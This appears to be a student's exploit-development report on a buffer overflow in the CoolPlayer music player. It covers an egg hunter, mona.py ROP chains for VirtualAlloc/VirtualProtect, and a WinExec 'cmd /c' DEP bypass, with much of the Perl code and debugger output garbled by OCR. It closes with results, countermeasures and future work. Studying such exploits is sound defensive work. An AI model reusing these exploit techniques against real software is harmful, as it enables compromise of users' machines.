"\xbb\xba\xbF\x38\x3B\x34\x37\x56\x50\x46\x50\x52\x56\xbc" .

Figure 32 MSFvenom using egg hunter tag

The egg hunter shellcode was then placed into the Perl code, where the
calculator/exploit was, and the new .INI skin file was loaded into CoolPlayer in
which successfully launched calculator (Figure 33), which proved the egg hunting
technique to be true.
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E Calculator P ] [P
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Figure 33 Calculator popping up after running egg hunter shellcode

2.2.2 DEP enabled
All exploitation attempts from here on were done with Data Execution Prevention
enabled. As can be seen in figures 34, 35 and 36 the tester was able to enable DEP
by having right clicked “My Computer”, selected Properties, under the Advanced
tab selected the settings button under Performance. Then under the Data
Execution Prevention tab the tester turned DEP on.

!l %
Open
v C CmdHere
Explare
Search...
,. Manage

Map Metwork Drive...
Disconnect Network Drive...

gy
I

Create Shortcut
Delete
Rename

ﬁ IProeerties I

Figure 34 Right click My Computer and select Properties

20| Page



21|
System Restore I A tomatic Updates I Remate |
General I Computer Name I Hardware

You must be logged on as an Administrator to make most of these changes.

r~ Performance
Visual effects, processor scheduling, memory usage, and virtual memory

r~ User Profiles

Desktop settings related to your logon

Settings |

~ Startup and Recaovery
System startup, system failure, and debugging information

Settings |

Environment Variables | Emmor Reporting

QK I Cancel | Aoply

Figure 35 Advanced tab select settings under Performance

Visual Effects I Advanced | Data Execution Prevention

~ Data Execution Prevention (DEP) helps protect
7 d against damage from viruses and other security
threats. How does it work?

= Turn on DEP for essential Windows programs and services
only

¥ Turn on DEP for all programs and services except those I
select:

[J 1501153
[ adobe Reader 2.1

Add... Remave

Ok I Cancel | Apply |

Figure 36 Under Data Execution Prevention, select Turn on

In order to exploit CoolPlayer with DEP on, Return Oriented Programming was
used in order to get to various locations in memory with the intentions to disable
DEP. In order to execute this, mona.py was used again with Immunity debugger to
find addresses in memory with the RETN instruction. The MSVCRT.DLL file was
used as the main point of searching for said addresses. Making sure that bad

character filtering was used, mona.py was run (Figure 37).
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D.dLL]

!mona rop -n -m msvert.dll -cpb "px004<01%<024<03v=<04%<054<064<0 740 81x09< 0 at< 0 bi< 0 cix0dixDe'
Figure 37 Mona.py for RTN addresses in MSVCRT.DLL

After running, a text file with ROP chain suggestions (rop_chain.txt) was printed
out to the log folder, which was created at the beginning, when creating the ASCII
characters for character filtering. The text file had many suggestions in plenty of
different programming languages, including C, ruby, python, and so on (Figure 38).
Complete screenshots can be found in Appendix B.

oM OO0 ODN O OO OD AN AR DD

.

Figure 38 Top of rop_chain.txt file

The tester used the addresses found in the VirtualAlloc() part written in python that was
found close to the bottom of the .TXT file (Figure 39).
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=== [ Python ] ===
def create rop_chain():

# rop chain generated with mona.py — wWww.corelan.be
rop gadgets =

E INFO:gadgets_to_set_ebp:---]
0x77c4eb56, # POP EBF # REIN [msvcrt.dll]
ox 4eb56, # skip 4 bytes [msvert.dll]
" :

NFC:gadgets_to_set_ebx:-——

F ]
N [msvert.dll]

0%77c53436, # POP E3X #
OxfEfEEEEE, %
# INC EBX # RETN [msvort.
127e5, # INC EBX # RETN [msvcrt.

NFC:gadgets_to set_edx:i-—-]

TTc4e332, POP EEX # RETN [msvcrt.dll

Ox2cfel467, put delta into eax (->» 0x00001000 into edx)

4eb&0, RDD ERX,75C13B66 # RDD ERX, 5D40C033 # RETN [msvort.dll]
58fke, HCHG ELX,EDX # [msvert.dl
NFO:gadgets_to_set_ ecx:-—-—]
OxT77c4e392, FOF ELX # RETH [msvcrt.
Ox2cfeld4a7, put delta into eax (-> 0x00000040 into ecx

4eb&0, LDD ERX C13B66 # RDD ERX, 5D40C033 # RETN [msvort.dll]
14001, CHG ECK ]
NFC:gadgets_to_set_e
47cde, # POP E # RETN [msvcrt.dll
TI~aTa47 # DETN _(DND _KND fmatreyt A1

PIR T TeS

A A

Figure 39 ROP chain in python for VirtualAlloc()

Through the use of “search and replace” in Notepad++ the tester was able to turn the
python into Perl (Appendix C). The final result can be seen in figures 40 and 41 followed
with calculator shellcode included in figure 41.

w Rk

T Y

O w m

[l
Wk

(Sl
TS

B3B3 B3 R
o wm

[

&

Ra R K3 R R

v m

Figure 40 ROP chain in Perl
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pack ('V',C

34 pack ('V',0x7

25 pack 'V, 0x7

36 #I

37 pack('V',C

35 pack ('V',C to 'push esp # ret ' [mevert.dll]
42 # NCP= for

33 EPlaylists 16

44 #C

) £P a8 494 X494 x40\ X493\ 43" |
48 LAY V3 \x Wx
a7 " - \ W x
48 " VX X \X
HE " 54 VX h:4
50 ™ 4 WX WX
51 ™ X 154 5 X
52 iy X \x 4 W®
= = W %5 X 5 \®
54 ™ x4 \x 4 WK
E) " X WX 4 WX
56 " WX WK 5 WH
57 " WX WK 4 R
58 iy Vx5 \x5a'xd W®
5g " \ B4 5 h4
60 " W 3 WX
6l " WK 5 A4
- . e A A A e s

NP

Figure 41 ROP chain in Perl part

However, when uploading the new .INI file to CoolPlayer the program would crash, and
DEP would not be disabled, as an error would pop up (Figure 42). Through a little bit of
testing the tester found that some of the address that were being used in the ROP chain,
Ollydbg was not able to locate (Figure 43).

1801153.exe

1801153.exe has encountered a problem and needs to '
close. We are zony for the inconvenience. g’

I you were in the middle of something, the information you were working on
might be lozt,

Please tell Microsoft about this problem.

Ww'e have created an error report that you can zend to uz. We will treat
thiz report az confidential and anonymous.,

To g2 what data this ermor report containg, click here,

Debug | Send Ermor Repart | Daon't Send I

Figure 42 Error after ROP .INI loaded in CoolPlayer
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[---INFO:gadgets to set ek

pack ('V'",

rLPalasd) LI ne 3

FCOA1225| E7 {14 Enter expression to follow
rCoBi=2e) SBEFC24 BC Mot

= EreTn ey

m
(=]
m
i
Es
I

x|

(= 36ff8e

pack "V,
pack ('V",

WAk Ak

0 memory of the specified addiess I

" A

j |

L

pack('V',

#[---INFO:gadgets_to_se

0k I Cancell

B124FFEC| 7CIE@
B1234FFFa

pack('V ,T
pack ('V",
‘

a134FFF4

pack ('V A134FFFE

e Gk Ak

B134FFFC

.= pack('V',
#[---INFO:gadgets_to_set
pack('V",
pack('V',

mom mowW o=

Ox

A
L)
]

1 m

o

=

=

EEEDEEEDEEE G s
i e

a40Em28| 90 09 Be gg| 0o oo
Figure 43 Issue faced when running ROP chains
Given that the tester was not able to successfully execute shellcode through the use of

ROP chains, the tester decided to move on, as there is more than one way to circumvent
DEP. Another method is through the use of system functions. This is when the tester is

able to point to an area in memory where code can be executed and execute code there.

For this the tester looked at executing the command prompt (cmd). To start the tester
needed to find the memory location for the windows execution (WinExec) process, this
was done through the use of a tool called arwin.exe (Figure 44) parsing through
kernel32.dll.

co. (C\WINDOWS\system32\ cmd.exe

‘emd=arwin.exe kernel32.d11 WinExec
n - win32 address resolution program - by

: . steve hanna - v.01
AinExec is located at |0x7cB623ad in kernel32.d11

Figure 44 Memory address for WinExec in kernel32.dll

Following this the tester also looked for the exit process (Exit Process) in kernel32.dll

using arwin.exe, as was necessary for following the system functions method (Figure 45).

Svomdzarwin.exe kernel32.d11 ExitProcess
arwin - win32 address resclution program - by
ExitProcess 1s located at Ox7cBlcafa|in kernel

teve hanna - v.01
>

S5
3
3

Figure 45 Exit Process memory address in kernel32.dll

After getting the memory addresses of these two, it was possible for the tester to be
able to craft Perl code that will allow for the tester to be able to locate the address for
the execution of cmd commands.

Firstly, the Perl code was built like the previous ones, where the tester had to fill the
buffer and check for any compensation by looking at the stack. In addition, adding a
variable that will contain the shellcode that the tester was using and subtracting it from
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the A’s that are being used to fill the buffer. It is simpler to subtract the shellcode from
the padding (large number of A’s) as this will allow for the tester to change the shellcode
without having to constantly change the padding (Figure 46).

2

3

& = "cmd fc clacse

= .= . "A"™ x (1058 - length( Vh:
10 ; # WinExec
12

13

14

15 ocpen |

1a print

17 close( )

Figure 46 System Instructions — Perl code

Then by placing a breakpoint at the windows execute address, the tester was able to
confirm the stack aspect (Appendix D). The tester was then able to look for the memory
location for cmd. To do this the tester right clicked the stack box, selected ‘search for
binary string’ (Figure 47), in the ASCII box search for ‘cmd /¢’ and found the location for
the cmmd command at location ‘Ox001300BD’ (Figures 48 and 49 respectively).

Address L2
E[M[T[wW|H[C|/[E[B] Hidedump

gisters (FPU LaErsEar
W 41414142
§ ager Copy to clipboard Ctrl+C
H Modify
5 s Edit Ctrl4E
1 o@llE4F
Iy e Push DIWORD
P FCE623A0 kernelS2.WinExec Pop DWORD
G ES BE23 SZbit @(FFFFFFFF) Search for address
FCEICAEA| =0 ! |FCALL to -
E4EL| BO1Z0163 wol. [CmdLine earch for binary string Ctrl+8 I
E4F0| Baidsasc, Si. |Lshousts
EZE; R | Go to expression Ctrl+G

EgFg EEEEEEEE Follow in Disassembler  Enter
ESo4| COCCCCOD "

ES@s| CORCCCCE Follow in Dump
e

ESi4| CCCCecon Appearance

ES15| CCCCCLCE

[

ES2@| CCCCCCCT
EEZ24| CCCCCECC

ES28| CCCCCCCT
ESZC| CCCCCCCT
ESZ@| CCCCCCCT
EE=24| CCCCCCCC
ES2E| CCCCCCCO
ES3C| CCCCCCCT
ES#@| CCCCCCCT
ES44| CCCCCCCT
ES4&| CCCCCCCO
ES4r| CCCCCCCT
ESEA| CCCCCCCT
ESE4| CCCCCCCC

[Top | Pauzed

Figure 47 searching for cmd
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x

ALl emd /c
UNICODE [

HEX +06  [F i e W e

<4 I > I
[™ Entire block
[T Casze sensitive 0k I Cancel

Figure 48 searching for cmd part 2

OllyDbg - 1801153.exe

File WView Debug Plugins Options Window Help
Bl x| wn| v ¥1 A 4 L[E|M[T|W[H|C|[s

SBFF MoL ECI, EOT Regist [FPUI
TLoez3HE | BS PLSH _EEF = T TrTETT
FCEEZ3EE| SEEC MOU EEF, ESF 2 s
PCE6Z3E2| S3EC 54 SlE ESF,E4 i
PCE6Z3EE| B3 FUSH EB% Eg e
PCEEZIEE| B FUSH ESI S g
PCEEziEY| EF FUSH EDI E ey
rCoezies| &R 11 PUSH 11 _
7CzeziEn| &9 POF ECH Eol pailears
PCee23eE| S3cm WOR ER, ERN _
PCEE23E0| S5FE WOR ESI,ESI < EIF 7CE623A0 kernelaz.uin
[LEEESEF] SC FUSH ES] C @ ES BA23 32bit B(FFFF
Address |Hex dump ASCII 4 [ @B136RED| 2BE4EDES ond | |
ey EIEVL TN L [=PmTiall s LT Tl L= =
BEADEDDE| B8 BB 0D 00 08 BB B0 B0 ........ TOTTI] Soaneiar| oot
BB4DEGOS| 68 BB DD 65| 06 BB BB BE[...1111
—caizeecs| 41414141 ARAR

BE40EG] G| 68 6O 0O 08| 08 68 o5 Gof . 10llll

GE1566C0| 41414141 ARAA
BE40EG] S| 68 6O 0O 08| 08 68 o5 Gof Il

ElZEE01| 41414141 ARAA
BE4DEGZG| B8 6O 0O 68| 08 BE 65 GO[ 11111

GE126605| 41414141 ARAA
BE40EGZE| B8 6O OO 68| 08 BB 65 GO[ ...l

GE126605| 41414141 ARAA
BE40EG36( 68 6O OO 66|68 65 G5 GO[...1l1..

GE126600| 41414141 ARAA
BE40EG3G| 68 6O OO 66| 68 BB G5 G8[...1l1..

palZ00EL| 41414141 ARAA
BE40EG4E| 60 6O OO 66| 08 BB 65 G8[ ...l

0E1200ES| 41414141 ARAA
BE40EG4S| B8 6O OO 66| 08 6B 65 G8[ ...l .

0a1Z00ES| 41414141 ARAA
BE40EGSE| 60 BE OO 06| 08 BB G5 B8[........

0G1200E0| 41414141 ARAA
BE40EESS| B0 6O OO 08| 08 6B 65 B8[........

BE1Z00F1| 41414141 ARAA
BE40EGEE| B8 BE 0O 08| 08 B G5 BE[...l.1..

BE1200FE| 41414141 ARAA
BE40ERES| B8 BE 0O 08| 08 B G5 BE[...1l1..

a1206FS| 41414141 ARAA
BE4DEGTE| B8 6O 0O 08| 08 BE G5 GE[...1l1..

51206F0| 41414141 ARAA
BE4DEGTS| B8 6O 0O 08| 08 66 G5 GE[ 110100

palZoial| 41414141| ARAA
BE4DEGSE| B8 6O 0O 08| 08 BE G5 GE[...1l0..

BE1Z6165| 41414141 ARAA
BB4DEGSE| 68 BB 0D 00| 06 BB BB BE[ .11l

oG1Z6165| 41414141| ARAA
BE4DEGIE| 08 6O 0O 08| 00 68 o5 Gof 011l

ElZE1e0| 41414141| ARAA
BE40EGIS| 08 6O 0O 08| 08 68 o5 Gef Il

BE156111| 41414141| ARAA
BE4DEGAG| B8 6O 0O 66| 08 BE 65 G8[ 110111

E126115| 41414141| ARAA
BE40EGAZ| B8 BE 0O 66| 08 BB 5 G8[ . ...l

6E126119| 41414141| ARAA
BE4DEGEG| 68 6O OO 66|68 65 G5 GE[...1l1..

GE126110| 41414141| ARAA
BE4DEGES| B8 6O OO 06| 68 BB G5 G8[...1l1..

palZ0i21| 41414141| ARAA
BE40EGCE| 60 6O OO 66| 08 BB 65 B8[ ...l ..
BE4DEGCS| BB BB 06 66|05 B8 69 G8[ . ....... TS| oo | e

| Breakpoint at kermel32.WinE xec

Figure 49 Location of cmd found at 0x001300BD

However, the tester knew that if this memory location were used, the code would not
execute as there is a null byte in the middle of the memory address. In order to avoid
this the tester attempted to move the cmmd command that was in the shellcode further
down the stack, firstly by moving the shellcode to inside the padding instead of before it
(Figure 50).

27 | Page



shellcode)) ;

cloge (3FILE)

Figure 50 Shellcode moved to be placed inside padding

This led to the new memory address of ‘0x00130103’ (Figure 51) which was added to
the Perl code in figure 52.

I |

- EofHEoZF | FC ©
EE1ZR1EE| 26636160 Llack
EAl1ZA1EF | 41414141 | ARAR
EEl1ZA112) 41414141 | ARAR
EE1ZA117) 41414141 | ARAR
EA1ZA11E| 41414141 | ARAR
EA1ZA11F|) 41414141 | ARAR
ERlzA122) 41414141 | ARAR
EEl1ZA127) 41414141 | ARAR
EE1ZA12E| 41414141 | ARAR
EaizalzF| 41414141 | ARAR
ERizalsz| 41414141 | ARAR
EEizalsy| 41414141 | ARAR
EEizalzE| 41414141 ARAR
EEizalsF| 41414141 | ARAR
EEizal4z| 41414141 | ARAR
EEizal4a?| 41414141 | ARAR
ERizal4e| 41414141 | ARAR
EE13A14F ) 41414141 | ARAR
EE13A152) 41414141 | AARAR
EE13A15Y) 41414141 | ARAR
EE13A15E] 41414141 | ARAR
EE13A15F ) 41414141 | ARAR
EEl13A152) 41414141 | ARAR
EE13A16Y) 41414141 | ARAR
EEl13A15E| 41414141 | ARAR
FEl1Z3A1aF] 41414141 | ARAR

|Top | Paused

Figure 51 New memory address of 0x00130103
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pack ('V', O
pack{'V', O
pack {'V' ,0x00

pack('V', OxFEFFFEFEF) ;

oppen | LVrEfilel™) s
print

T m——— v

Figure 52 Cmd address added

The last memory address added was a “Windows Style” at the end of the eip variable,
however this variable is of little significance which led to the tester’s lack of concern for
the null byte at the end of the cmd command (as when run it is ‘backwards’ or little
endian), which will only have an effect on the “Windows Style” and not on anything else,
as there is nothing else after it.

Finally, after uploading the new .INI file to the CoolPlayer music player, it was possible to
crash the program without the DEP warning appearing.
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3 RESULTS

3.1 RESULTS

3.1.1 DEP disabled

3.1.2

Through the use of various tools and debuggers it was possible for the tester to be able
to exploit the music player CoolPlayer. Without DEP enabled it is a very simple to exploit
the buffer overflow vulnerability and to get malicious code running, that even users with
very little knowledge or understanding would be able to successfully execute such
exploits.

3.1.1.1 Egg hunter

Furthermore, the tester used a second method to show that even with a smaller
buffer/stack size it is still possible for a malicious user to be able to exploit the
vulnerability. Through using this method, it demonstrates that simply reducing the area
of that code can be written to is still not enough of a countermeasure in terms of
protecting against a buffer overflow attack.

DEP enabled

3.1.2.1 ROP chains

Using similar methods and tools as previous the tester, again, attempted to exploit the
music player CoolPlayer. Though the initial test using ROP chains was unsuccessful, due
to address in the chains not being found while using Ollydbg, but also a few issues
regarding the character filtering in mona.py as bad characters were inputted into the
debugger, however some were still present in the ROP chains.

3.1.2.2 System Instructions

Though the first test was unsuccessful, the tester went ahead and followed another
method; system instructions method. This was more successful in that the program
successfully crashed without a DEP warning popping up. Though this method required
the tester to move the shellcode around the stack in order to avoid null bytes in the
middle of the memory address.
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4 DISCUSSION

4.1 GENERAL DISCUSSION

The aim of this report was to conduct a series of tests in order to exploit and assess the
risk of the buffer overflow vulnerability found within the music player CoolPlayer. This
test went to show that if left unattended there could be disastrous consequences, as
any user with malicious intent can exploit this vulnerability, with DEP off. One such
example of a high risk exploitation would be for a user to be able to upload a reverse
shell skin file to a victims CoolPlayer (most likely through social engineering) and
connect it back to their attacking machine. This could lead to all types of information
being able to be accessed by the attacker.

However, even with DEP on malicious users are still capable of attacking and exploit the
application through means of ROP chains and system instructions. There also may be
other methods that malicious users can follow that the tester has not looked at in this
report such as stack pivoting where a user can create a ‘fake stack’ where an attacker
can store the ROP chains and overwrite the real stack to point to the fake stack — this
would be mainly for applications where it may be difficult to find memory corruption (Li,
2021).

The tests and report will allow for programmers to be able to be aware of the issues of
buffer overflow and take precautions when creating an application.

4.2 COUNTERMEASURES

In this section countermeasure will be discussed. Some key countermeasures to protect
from buffer overflow attacks would be firstly to consider what language a programmer
should make a program in. For example, assembly and C/C++ are popular languages to
program in, however are vulnerable to such buffer overflow attacks as they allow direct
access to memory. While C++ does have libraries that have many options to protect
against buffer overflows, these protections and checks will not be effective if they are
not called.

A countermeasure that is already in place is the executable-space protect, otherwise
called Data Execution Prevention (DEP) that Windows has implemented. What this does
is identify certain areas of memory and tags it as non-executable in order to prevent
malicious code from executing and causing an exception to occur. However, there are
methods that a malicious user can follow in order to misconfigure DEP or even disable it
completely. One such method would be through the use of return-orientated
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programming (ROP), which was demonstrated earlier. This is used in order to call
Windows API functions, such as VirtualAlloc(), to disable DEP and allow shellcode
execution. While the other is to call system instructions and run code that way, which
was demonstrated in the second section of the DEP enabled part of the report.

Another countermeasure for buffer overflow is the use of deep packet inspection (DPI),
which can detect at a network layer very basic attempts to exploit buffer overflows by
use of attack signatures. This can be used to block attacks that have the signatures of
known attacks. Though this method is not a highly effective method as it will have little
effect on attacks that are not stored known.

Finally, there is address space layout randomization (ASLR). ASLR is a security feature
that arranges data areas such as heap, stack and libraries in random places in a
processes address space. Randomization of the virtual memory in which these data
areas can be found can make buffer overflow exploitations more difficult but can be
overcome through tailored exploits.

4.3 CONCLUSIONS

In conclusion, it was found that the buffer overflow vulnerability in CoolPlayer can have
a large impact on the users should it be exploited. Following the aim of this report tests
and explanations were documented, allowing for programmers and application makers
to be aware of the dangers of such a common vulnerability.

If applications such as CoolPlayer are used without concern for this vulnerability, there is
a high chance that these applications will be exploited and cause a significant amount of
damage to the users — to their computer as well as any information stored on it.
Therefore, it is highly recommended that programmers and the like take care and take
into consideration common vulnerabilities such as buffer overflow.

4.4 FUTURE WORK

Through testing, the tester had a difficult time working with DEP enabled. Through the
use of mona.py a ROP chain was to be used to get around DEP, however there were
difficulties using the character filtering as mona.py still produced ROP chains that used
these characters causing the execution of them to fail. Furthermore, there was the issue
of some parts of the ROP chains to not be addresses that Olly debug could find in its
memory as seen in figure 42. Given more time, the tester could have found a method
that would allow for the ROP chains to be able to be executed. Furthermore, the tester
could have attempted to additionally test the other sections of the application, and not
just looking at the skins.
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APPENDICES

APPENDIX A — ROP_CHAIN.TXT

Below are the screenshots for the entire rop_chain.txt file.

Jog\1801153\rop_d “bet - Notepad +-+
Fie Edit Search View Encoding Language Settings Tools Maro Run Plugins

cHHE 2 E | & Wik 3 e ia s 5|0
[Elrop_chains et E3 |

2

Window

LI
X
v |® @D BB

2 dule i
3
Baze I Toj | Size | Rebaze |
0x00132000 True
0x00 True 2 \; Ldxv
0x0 True 2 pehelp.dll]
0x00095000 True 1. CRYPT32.d11] 73\ 2yaten32\CRYPT32.4d11)
True 28 \system32\MSASN1.d11)
True 28
True 286 cre.dll] (C
.28
.28

True . 26!
& [iertutil.dll]
& NINET.d11] S\ 3ysten32\WININET.d11)
. 261 Secur32.d11] S\system32\Secur32.dll)
5.1.286 0le32.d11] WS\system32\ole32.d1l)
1 [ TL32.d11] \
22 5.1.28 5512 [USER32.dl1l]
23 False 5.1.260 )
2 2 dlg32.dil)
25 0x0002: 5.1.28 5512 [IMAGEHLP.d11] (C
28 0x0002e0 5.131. . NTRUST.d11] NTRUST.d11)
27 0x0! 5.1.2 5512 [midim; S\system32\midimap.dll)
28 0x0011£000 lse -1.0 uments and Settings\Administ: \
< j

INormal text file liennth : 25.078 s : 767

Jog\1801153\rop_d et - Notepad-++
Fie Edit Search View Encoding Language Settings Tools Maco Run Pluging

o HHE 2B & k(e i+ s [EE
[Elrop_chains:ot E3 |

Window ?

[fne1 col:1 sel:nln lwtindows fcr 1Ay iR

v |6 m W R R

True
True

22 | 0x7d1d | 0x00817000 | True
30 | 0x73£6¢000 | 0x0005¢000 | True
1 1 0%00103 | True
3 1 | 0x00014 | True
3 I I | True
1 1 | True
1 | 0%0004c000 | True
1 1 | Trus
1 1 | True
1 1
1 1
1 1
1 1

True

.5512 [SHELL32.dll]
1.5512 [DSCUND.d1 (
metl32.d1l]

WINDOWS\system32\SHELL32.d11)
\WINDOWS'\system32\DSCUND.d11
M

2

1] )
IN S

[

\WINDOWS\ system32\SHLRAPT . d11)
\system32\msctfime.ime)

CTF.d11]
VERSION.d1l]

=
el

By ooy oy Gy oG R By Ry

B R R R T R R

zetup

HOF (0%9)

= lptldEretect (per te W address)
tect (0x40)
Stz
‘Address (automatic)
Ret: {ptr to Jmp eap)

ptr
= ROF

©
NOF

TUALFTOTECT ()
(RETN)

| o

Normal text file

Fsart| G @B wihmED D

length : 35,078 lines : 767

> [ C:Yog\1801153 | c:\log\1801153\rop_...

|tn:2s col:150 sel:0]o [Windows (cRLF)  [uTF-8 ms

1407
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C:\log\1801153\rop_chains. txt - Notepad+-+

le Edit Search View Encoding Language Settings Tools Macro Run Plugins  Window

s EHE 2 &Rkt s [BE|51

Top craeri ]

NN ANEEC ORI NG =

SN EIE

oo

ooy oy o
AR

o
]

(-1

B e

C:\log\1801153\rop_chains.txt - Notepad-++

ERX = ptr to sVirtualProtect ()|

ECK = lpOldFrotect (ptr to W address)
EDX = NewProtect (0x0)

EBX = dwSize

ESE = 1FRddress (automatic)

EBF = FOF (skip 4 bytes)

EST = ptr to JMF [EAX]
EDI = ROE NOE (RETH)
+ place ptr to "jmp s=p” on stack, below BUSHAD

BOP Chain for VirtualProtect() [(XP/2003 Server and up)]

ser [ Ruby | *et
def create zep chain()

# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
#[---INFO:gadgets_to_set_skp:---]
0x77cS51bE, # EOF EBP # RETN [msvert.dll]
0x77c551bE, # skip 4 bytes [msvert.dll]
#[---INF0:gadgets_to_set_sbxi---]
0x00000000, # [-] Unable to £
-INFO:gadgets To_set_edx:

~lAsAd & DAE FAY & DETN (mameer 4111

Fle Edit Search View Encoding Llanguage Settings Tools Macro Run Plugns Window 2

cHEHE & & M

|2e|ta|ts|BE[ST

[Elrop_chains bt E3 |

B EE = R E

0x77c4dedd, # POP EAX # REIN [msvert.dll]

e, # put delta into eax (-> put 000000040 into edx)
0x77c4cT2a, 4 ADD EAX,C30000B2 # RETN [msvort.dll]
0x77cS8fbe, 4 XCHE EAX,EDX 4 REIN [msvert.dll]
#[---INF0:gadgets_to_seT_scxi-—-]
0%77c410£5, # POP ECK # REIN [msvert.dll]
0x77cSfe34, # sWriteble location [msvert.dll]
#[---INFO:gadgeta_to_set_edii-—-]
0x77c3aféb, # POF EDI # RETN [msvert.dll]
0%77c47a42, # REIN (ROF NOF) [msvert.dll]
#[---INF0:gadgets_to_seT_ssii-—-]
0%77c40690, # POP ESI # REIN [msvert.dll]
0x77c2aace, # JMP [EAX] [msvert.dll]
0x77c4debs, # DOP EAX # RETN [msvert.dll]

4 [-] Unsble to find ptr to sVirtualProtect()

4 EUSHAD 4 RETN [msvert.dil]
#[-—-INFO:extras:---]
0%77c35524, # ptr to 'push esp # ret ' [msvert.dll]

.flatten.pack("V*")

return rop_gadgets

end

# Call the ROP chain generator inside the 'exploit’ function :
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C:\log\1801153\rop_chains.txt - Notepad++
Fie Edit Search View Encoding Llanguage Settings Tools Macro Run Plugins Window 2

cHHE o B &Mk 3e(mig s = |EE(51

2 E R e = e

rop_chain = create_rop_chain{)

saa [ o] aes

#define CREATE_ROP_CEAIN(name, IS
int name#4_length = create_rop_chain(NULL, ##_ VA 2RGS

unsigned int nanme(name## length / sizeof{unsigned int)]

)

create vop chain(name, #4_ VA ZRGS

int create_rop_chain(unsigned int *buf, unsigned int )

// rop chain generated with mona.py - www.corelan.be

unsigned int rop gadgets[] = [
/4 [---INFO:gadgets_to_set_sbpi---]
0%77cS51bf, // BOE EBP // REIN [msvert.dll]
0x77e551bI, // skip 4 bytes [msvert.dll]
//1---INFO:gadgets_to_set_ebx:---]
0x00000000, // [-] Unable to find gadget to put 00000201 into ebx
//[---INFD:gadgets_to_set_edxi---]
0x77c4dedd, // PO ERX // REIN [msvert.dll]
0x3 =, // put delta into eax (-» put 0x00000040 into edx)
0x77c4cTéa, // ADD ERX,C90000B2 // REIN [msvert.dil]
0x77cS8fbe, // KCEG EAX,EDK // BETN [mswert.dll]
//1---INFO:gadgets_to_set_ecxi-—-]
0x77c410£5, // POP ECX // REIN [msvort.dll]

141 (%T7ASFRIA 4 cWeiraRla Tmmsrism [mewese 4111

C:\log\1801153\rop_chains.txt - Notepad++
File Edt Search View Encoding Language Settings Tools Maro Run Plugins Window

PREE N = L -REENE RICAC N (- I -A R RE Rzl
[=lrop_chains bt E3 |

DERND =D E

=181 x|

141 0x77cSfe3s, // sWritable location [mavert.dll]

142 INFO:gadgets_to_set_edii---]
143 c3afék, // POF EDI // REIN [mevere.dll]
144 c47242, // BEIN (ROF NOE) [msvert.dll]

INFO:gadgets_to_set_esi:-—-]
'©40690, // POP ESI // RETN [mavert.dll]
0x77cZamcc, // JMP [ERX] [msvert.dll]
0x77c4debs, // POP EAX // REIN [msvert.dll]
0x00000000, // [-] Unable to find ptr to sVirtualProtect()
INFO:pushad:---1
0x77¢12d£9, // PUSHAD // RETN [msvert.dll]
ff[-—-INFCrextras:———]
0x77c35524, // ptr to 'push esp // ret ' [msvort.dll]

if(buf !'= NULL)
memcpy (buf, rop_gadgets, sizeof(rop_gadgets)):

I

return sizeof (rop gadgets);

// use the 'rop_chain' variable
CREATE_ROP_CHAIN(rop_chain, }:
// alternatively just allocate a large enough buf
// unsigned int rop_chain[256];

// int rop chain length = create rop_chain{rop chain, ):

er this call, it's just an unsigned inc[]

er and get the rop chain, i.e.:

¥4+ [ Python | *4*

Aaf rrasta ron chainii-
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B C\log\1801153\ro) bt - Notepad+ +
Fie Edit Search View Encoding Language Settings

EREs =1L -RENE = N A

[Hrop_chains b E3 |

def create rop chain():

=18

Plugins  Window ? X

Ae(akl 2= HE[R1[EREAD = (@ =k @ &

Tools Macro Run

4 rop chain generated with mona.py - www.corelan.be
rop_gadgess = [
igadgecs_to_set_sbpi---]

# FOP EBF # REIN [msvcrt.dll]

# skip 4 bytes [msvcrr.dll]
adgets_to_set_sbu:-—-]

# [
adgets_to_sst_sdi---]

# POP ERX # BEIN [msvere.dll]

0x3é
0x77cdcTéa,
0x77c385be,

# ADD EAX,C30000B2 # RETN [msvert.dll]

# ¥CHG ERX,EDK # RETN [msvert.dll]
adgets_to_set_ecxi-—-]

4 EOF ECK # RETN [msvcrt.dll]

# sWritable location [msvert.dll]
INFO:gadgets_to_set_ediz---]

0x77c3aféb, # EOF EDI # RETN [msvcre.dll]
0x77c47a42, # BETN (ROP NOP) [mswert.dll]
~INFO:gadgets_to_set_esiz---]
0%77c406%0, # EOF ESI # REIN [msvcre.dll]
0x77claacc, # JME [ERX] [msverr.dil]
0x77c4debf, # EOF ERX 4 RETN [msvcre.dll]

, # [-] Unsble to find ptr
INFO:pushad:---]

0x77c12d£9, 4 FUSEAD § RETN [mswcrt.dll]
INFO:extras:---]

EEEET BT

te sVirtualProtect()

Trirsih mem 3 ear 1 fmawees 4111

log\ 1801153 \rop_chains.txt - Notepad ++ -]
Fie Edit Search View Encoding Language Settngs Tools Maco Run Plugns Window 2 X

HEHE S S e nyg x| BE51EREELD =|E =N BB
[=lrop_chains bt E3 |

197

0x77c35524,
1
return ''.join(struct.pack('<I', _)

# ptr to 'push esp # ret ' [mavert.dll]

for _ in rop gadgets)

rep_chain = create_rop_chain()

arr

5
0
1
3
1
5

#+4+ [ JavaScript |

//xop chain gensrated with mona.py - www.corelan.be

1

1

208 rop_gadgets = unescape(

208 "+ /7 #[---INFD:gadgets_to_set_sbpi---]

210 "suSlbTEuTTes” + // 0X77c551 ,# FOF EBF # REIN [msvert.dll]

211 "$uSlbEuTTes" + // 0x77c351bE ¢ 4 skip 4 bytes [msvort.dil]

212 ™"+ // #[---INFO:gedgets_te_set_ebxi-—] :

213 "$u0000%u0000" + // 0x00000000 : ,# [-] Unesble to find gadget to put 00000201 into ebx
214 "+ /7 #[---INFO:gadgeta_to_set_sdxi-—-]

215 "$udeddsulTcd” + // 0x77cidedd : 4 FOF EAX # RETN [msvert.dll]

216 "SUSIEEeSuIEIIT + // 0Xx36ZIIfte : 4 put delta into eax (-> put 0%00000040 into edx)
217 "suc78atulTcd” + // 0x77cécTea : 4 ADD ERX,C90000B2 # REIN [msvert.dll]

218 "susfbc¥ulTes” + // 0x77cSifbe : % XCHG EAX,EDX # REIN [msvcre.dll]

219 "+ /7 #[---INFO:gadgets_to_set_scx:-—-]

220 "$ul0£5%uTTed” + // 0x77cil ,# POP ECX # RETN [msvert.dll]

221 "$ufe3d4suTTcs" + // 0x77c5Ie3d : ,# sWritable location [msvert.dll]

222 "+ // 4[---INFO:gadgets to seT_sdii---]

223 "$usfébiulTcd” + // 0x77c3aféb : 4 FOP EDI 4 REIN [msvert.dil]

224 "$uTad2¥ulTcd” + // 0x77ceTad2 : % REIN (ROE NOE) [msvert.dil]

205 mn oA g AT TNFA.madmata to sar msii——_1 -

4 |
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s HHEE 5 B & e nh| x| B2

